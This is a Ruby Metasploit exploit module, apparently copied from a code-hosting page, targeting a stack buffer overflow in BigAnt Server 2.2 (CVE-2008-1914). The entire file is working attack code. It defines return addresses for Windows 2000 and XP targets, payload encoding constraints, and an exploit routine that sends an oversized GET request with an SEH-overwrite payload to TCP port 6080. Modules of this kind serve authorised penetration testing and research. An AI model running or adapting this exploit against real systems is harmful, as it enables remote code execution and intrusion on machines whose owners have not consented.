70 lines
1.9 KiB
Ruby
70 lines
1.9 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'BigAnt Server 2.2 Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in BigAnt Server 2.2.
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By sending a specially crafted packet, an attacker may be
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able to execute arbitrary code.
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},
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'Author' => [ 'MC' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2008-1914' ],
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[ 'OSVDB', '44454' ],
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[ 'BID', '28795' ],
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'AllowWin32SEH' => true
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},
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'Payload' =>
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{
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'Space' => 750,
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'BadChars' => "\x00\x20\x0a\x0d",
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'StackAdjustment' => -3500,
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'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
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'DisableNops' => 'True',
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows 2000 Pro All English', { 'Ret' => 0x75022ac4 } ],
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[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Apr 15 2008'))
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register_options([Opt::RPORT(6080)], self.class)
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end
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def exploit
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connect
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sploit = "GET " + rand_text_alpha_upper(950) + generate_seh_payload(target.ret)
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sploit << rand_text_alpha_upper(1024 - payload.encoded.length)
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print_status("Trying target #{target.name}...")
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sock.put(sploit + "\n\n")
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handler
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disconnect
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end
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end
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